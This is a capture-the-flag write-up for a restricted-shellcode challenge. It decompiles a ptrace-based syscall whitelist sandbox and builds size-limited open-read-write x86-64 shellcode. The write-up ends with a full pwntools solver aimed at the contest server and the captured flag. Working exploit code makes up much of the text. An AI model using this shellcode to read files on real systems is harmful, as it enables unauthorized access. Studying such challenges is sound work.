Give Me File
Restricted shellcode, limited characters and whitelist seccomp.
Problem Description
I want to get the flag file with a shellcode but the char is limited :(.
Author: farisv
Analysis
We are given two binaries, called runner and sandbox. Checking them in checksec shows that both of them has full protection.

We're also given a Dockerfile, which shows an important information: the flag's file name on the server. The flag file name is unusually long, so this could potentially be a part of the challenge.
FROM ubuntu:24.04
RUN apt-get update && \
apt-get install -y socat coreutils && \
rm -rf /var/lib/apt/lists/*
RUN useradd -m tempuser
WORKDIR /app
COPY runner /app/runner
COPY sandbox /app/sandbox
COPY flag.txt /flagggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggg.txt
RUN chmod +x /app/runner && \
chown tempuser:tempuser /app/runner && \
chmod +x /app/sandbox && \
chown tempuser:tempuser /app/sandbox
USER tempuser
EXPOSE 10002
CMD ["sh", "-c", "socat -d -d TCP4-LISTEN:10002,reuseaddr,fork EXEC:'/app/sandbox /app/runner',pty,stderr,setsid,sigint,sane"]%Here, I've decompiled some of the important functions from both binaries to examine.
runner.main()
long lVar1;
size_t __len;
code *pcVar2;
char *__s;
undefined8 uVar3;
ulong uVar4;
long lVar5;
ulong *puVar6;
long in_FS_OFFSET;
ulong local_68;
char *local_60;
ulong local_58;
code *local_50;
long local_48;
char *local_40;
size_t local_38;
code *local_30;
char local_23;
char local_22;
undefined local_21;
long local_20;
puVar6 = &local_68;
local_20 = *(long *)(in_FS_OFFSET + 0x28);
init(param_1);
local_58 = 700;
local_50 = (code *)mmap((void *)0x0,700,7,0x22,-1,0);
if (local_50 == (code *)0xffffffffffffffff) {
perror("mmap failed");
uVar3 = 1;
}
else {
puts("Enter your shellcode in hexadecimal format (e.g., \\x90\\x90\\x90) max 700 chars:");
local_48 = local_58 - 1;
uVar4 = ((local_58 + 0xf) / 0x10) * 0x10;
for (; puVar6 != (ulong *)((long)&local_68 - (uVar4 & 0xfffffffffffff000));
puVar6 = (ulong *)((long)puVar6 + -0x1000)) {
*(undefined8 *)((long)puVar6 + -8) = *(undefined8 *)((long)puVar6 + -8);
}
lVar1 = -(ulong)((uint)uVar4 & 0xfff);
if ((uVar4 & 0xfff) != 0) {
*(undefined8 *)((long)puVar6 + ((ulong)((uint)uVar4 & 0xfff) - 8) + lVar1) =
*(undefined8 *)((long)puVar6 + ((ulong)((uint)uVar4 & 0xfff) - 8) + lVar1);
}
uVar4 = local_58;
local_40 = (char *)((long)puVar6 + lVar1);
*(undefined8 *)((long)puVar6 + lVar1 + -8) = 0x1013c9;
fgets((char *)((long)puVar6 + lVar1),(int)uVar4,stdin);
__s = local_40;
*(undefined8 *)((long)puVar6 + lVar1 + -8) = 0x1013d5;
local_38 = strlen(__s);
if ((local_38 != 0) && (local_40[local_38 - 1] == '\n')) {
local_40[local_38 - 1] = '\0';
}
local_68 = 0;
local_60 = local_40;
while ((*local_60 != '\0' && (local_68 < local_58))) {
if ((*local_60 == '\\') && (local_60[1] == 'x')) {
local_23 = local_60[2];
local_22 = local_60[3];
local_21 = 0;
*(undefined8 *)((long)puVar6 + lVar1 + -8) = 0x101460;
lVar5 = strtol(&local_23,(char **)0x0,0x10);
local_50[local_68] = SUB81(lVar5,0);
local_60 = local_60 + 4;
local_68 = local_68 + 1;
}
else {
local_60 = local_60 + 1;
}
}
*(undefined8 *)((long)puVar6 + lVar1 + -8) = 0x1014ae;
puts("Executing shellcode...");
pcVar2 = local_50;
local_30 = local_50;
*(undefined8 *)((long)puVar6 + lVar1 + -8) = 0x1014c1;
(*pcVar2)();
pcVar2 = local_50;
__len = local_58;
*(undefined8 *)((long)puVar6 + lVar1 + -8) = 0x1014d4;
munmap(pcVar2,__len);
uVar3 = 0;
}
if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return uVar3;sandbox.main()
__pid_t _Var1;
undefined8 uVar2;
init(len_arg);
if ((int)len_arg < 2) {
fprintf(stderr,"Run: %s [program]\n",*args);
uVar2 = 0xffffffff;
}
else {
_Var1 = fork();
if (_Var1 == 0) {
run_target(args[1]);
}
else {
if (_Var1 < 1) {
fwrite("Fork error",1,10,stderr);
return 0xffffffff;
}
run_debugger(_Var1);
}
uVar2 = 0;
}
return uVar2;sandbox.run_target()
long lVar1;
lVar1 = ptrace(PTRACE_TRACEME,0,0,0);
if (lVar1 < 0) {
fwrite("Error ptrace\n",1,0xd,stderr);
}
else {
execl(param_1,param_1,0);
}
return;sandbox.run_debugger()
long lVar1;
long in_FS_OFFSET;
uint local_100;
int local_fc;
int local_f8;
__pid_t local_f4;
int local_f0;
int local_ec;
undefined local_e8 [120];
ulong local_70;
undefined8 local_10;
local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
local_f4 = waitpid(param_1,(int *)&local_100,0);
if ((local_f4 == -1) || ((local_100 & 0xff) != 0x7f)) {
kill_process(param_1);
/* WARNING: Subroutine does not return */
exit(1);
}
lVar1 = ptrace(PTRACE_SETOPTIONS,(ulong)param_1,0,1);
local_f0 = (int)lVar1;
if (local_f0 != 0) {
kill_process(param_1);
/* WARNING: Subroutine does not return */
exit(1);
}
while( true ) {
ptrace(PTRACE_SYSCALL,(ulong)param_1,0,0);
local_f4 = waitpid(param_1,(int *)&local_100,0);
if ((local_f4 == -1) || (local_f4 == 0)) {
puts("[Sandbox] Error waitpid");
kill_process(param_1);
/* WARNING: Subroutine does not return */
exit(1);
}
if ((local_100 & 0x7f) == 0) goto LAB_001016a4;
if ('\0' < (char)(((byte)local_100 & 0x7f) + 1) >> 1) {
puts("[Sandbox] Unhandled signal");
goto LAB_001016a4;
}
if ((local_100 & 0x80) != 0) {
puts("[Sandbox] Runtime Error");
goto LAB_001016a4;
}
if ((local_100 & 0xff) != 0x7f) goto LAB_001016a4;
if (((int)local_100 >> 8 & 0xffU) < 0x21) break;
ptrace(PTRACE_GETREGS,(ulong)param_1,0,local_e8);
local_ec = (int)local_70;
local_fc = 0;
for (local_f8 = 0; local_f8 < syscall_len; local_f8 = local_f8 + 1) {
if (local_ec == *(int *)(syscall_numbers + (long)local_f8 * 4)) {
local_fc = 1;
}
}
if (local_fc == 0) {
fprintf(stderr,"[Sandbox] Forbidden syscall (%d) detected. Kill the program.",
local_70 & 0xffffffff);
kill_process(param_1);
LAB_001016a4:
/* WARNING: Subroutine does not return */
exit(0);
}
}
if ((local_100 & 0xff00) == 0xb00) {
puts("[Sandbox] Segmentation Fault");
}
else if ((local_100 & 0xff00) == 0x400) {
puts("[Sandbox] Illegal Instruction");
}
else if ((local_100 & 0xff00) == 0x700) {
puts("[Sandbox] Bus Error");
}From the decompilation, the program's main (intended) flow is pretty straightforward:
runneris run fromsandbox(in simpler terms,./sandbox ./runner). Sandbox acts as a wrapper to "monitor" runner's process.runnerasks for shellcode with a maximum of 700 characters (175 bytes).From the shellcode,
sandboxdecides whether the syscalls from the shellcode are all allowed or not. If a syscall isn't on the whitelist, the process gets killed. Otherwise, the shellcode gets executed.
For the inputted shellcode itself, there are two limitations: from length (only 700 chars/175 bytes allowed) and seccomp, which keywords can be seen throughout sandbox's run_debugger. The binary doesn't use the usual seccomp library, so we can't use seccomp-tools. Because of that, we need to do a manual analysis to find what syscalls are being banned. In run_debugger, we have this.
for (local_f8 = 0; local_f8 < syscall_len; local_f8 = local_f8 + 1) {
if (local_ec == *(int *)(syscall_numbers + (long)local_f8 * 4)) {
local_fc = 1;
}
}
if (local_fc == 0) {
fprintf(stderr,"[Sandbox] Forbidden syscall (%d) detected. Kill the program.",
local_70 & 0xffffffff);
kill_process(param_1);
// ...There are global variables syscall_numbers and syscall_len. Looking at the loop, it goes through the syscall numbers and sets local_fc to 1 if the current syscall number being examined from the shellcode matches any of the iterated. From here, we know that syscall_numbers contains allowed syscalls instead of banned syscalls. From syscall_len, we know that there are 20 allowed syscalls, and we can see them using Ghidra.


After mapping the syscall numbers to its syscall operation, here are the allowed syscalls:
0x0 (read)
0x1 (write)
0x2 (open)
0x3 (close)
0x4 (stat)
0x5 (fstat)
0x9 (mmap)
0xa (mprotect)
0xb (munmap)
0xc (brk)
0x11 (rt_sigaction)
0x15 (access)
0x3c (exit)
0x9e (arch_prctl)
0xda (set_tid_address)
0x101 (openat)
0x111 (set_robust_list)
0x12e (prlimit64)
0x13e (getrandom)
0x14e (rseq)
Solution Breakdown
From here, it's safe to say that the intention of the problemsetter was to make us perform open-read-write (ORW) to read the flag file from the server, since get shell syscalls like execve aren't being whitelisted but ORW shellcodes are. But, as previously mentioned, the flag file name is unusually long. Now, the challenge is how can we craft a <= 175 bytes shellcode that writes the long flag file name into memory and still fits the entirety of the ORW shellcode?
Initial Shellcode Crafting
Initially, I came up with this assembly code, soon-to-be converted to shellcode:
xor rax, rax
mov rcx, 0x67676767616c662f // /flagggg
mov [rsp], rcx
mov rax, 0x6767676767676767 // gggggggg
mov [rsp+8], rax
mov rax, 0x6767676767676767 // gggggggg
mov [rsp+16], rax
mov rax, 0x6767676767676767 // gggggggg
mov [rsp+24], rax
mov rax, 0x6767676767676767 // gggggggg
mov [rsp+32], rax
mov rax, 0x6767676767676767 // gggggggg
mov [rsp+40], rax
...
mov rax, 0x6767676767676767 // gggggggg
mov [rsp+192], rax
mov rax, 0x7478742e67676767 // gggg.txt
mov [rsp+200], rax
mov QWORD PTR [rsp+208], 0 // null terminator
mov rdi, rsp
// open
mov rax, 2
xor rsi, rsi
xor rdx, rdx
syscall
// read
mov rdi, rax
xor rax, rax
mov rsi, rsp
mov rdx, 0x50
syscall
// write
mov rax, 1
mov rdi, 1
syscall
// exit
mov rax, 60
xor rdi, rdi
syscallYes, this is ridiculously inefficient because initially, I forgot loops exist in assembly. It does the job though: writes the long flag file name into memory, stores it to the stack, then pointed by rdi, then used to perform ORW. But it exceeds the limitations mentioned, because apparently the shellcode is more than 175 bytes long.
Shellcode Optimization
We can optimize this assembly in two ways:
No need to
mov rax, 0x6767...before everymov [rsp+i], raxinstructions. Theraxregister content stays the same, so no need to move the exact same value repeatedly to the exact same register.Use loops.
Here's the final assembly I came up with.
xor rax, rax
mov rcx, 0x67676767616c662f
mov [rsp], rcx
mov rax, 0x6767676767676767
mov [rsp+8], rax
mov rcx, 24
mov [rsp+rcx*8], rax
dec rcx
jnz $-7
mov rcx, 0x7478742e67676767
mov [rsp+200], rcx
mov QWORD PTR [rsp+208], 0
mov rdi, rsp
mov rax, 2
xor rsi, rsi
xor rdx, rdx
syscall
mov rdi, rax
xor rax, rax
mov rsi, rsp
mov rdx, 0x50
syscall
mov rax, 1
mov rdi, 1
syscall
mov rax, 60
xor rdi, rdi
syscallThis gives us just 142 bytes of shellcode, which is more than enough! Compiling the assembly to shellcode, then converting it to the bytes format (\x prefix) and sending it to the server gives us the flag.

Flag
CJ{7f1fdbd71a25cc6be8f6fa7c49f73cc2}
Full Solver Script
#!/usr/bin/python3
from pwn import *
elf = ELF("runner_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
# rop = ROP(elf.path)
context.binary = elf
SERVER = '159.89.193.103 10002'
HOST, PORT = SERVER.split() if SERVER != '' else (0, 0)
gs = '''
continue
'''
# context.log_level = 'debug'
def start():
if args.GDB:
context.terminal = ["tmux", "new-window"]
return gdb.debug(elf.path, gdbscript=gs)
elif args.REMOTE:
return remote(HOST, PORT)
else:
return process([elf.path])
def main():
global io
io = start()
payload = asm("""xor rax, rax
mov rcx, 0x67676767616c662f
mov [rsp], rcx
mov rax, 0x6767676767676767
mov [rsp+8], rax
mov rcx, 24
mov [rsp+rcx*8], rax
dec rcx
jnz $-7
mov rcx, 0x7478742e67676767
mov [rsp+200], rcx
mov QWORD PTR [rsp+208],0
mov rdi, rsp
mov rax, 2
xor rsi, rsi
xor rdx, rdx
syscall
mov rdi, rax
xor rax, rax
mov rsi, rsp
mov rdx, 0x50
syscall
mov rax, 1
mov rdi, 1
syscall
mov rax, 60
xor rdi, rdi
syscall""")
payload = "".join([f"\\x{c:02x}" for c in payload]).encode()
io.sendlineafter(b"chars:", payload)
io.interactive()
if __name__ == '__main__':
main()
Last updated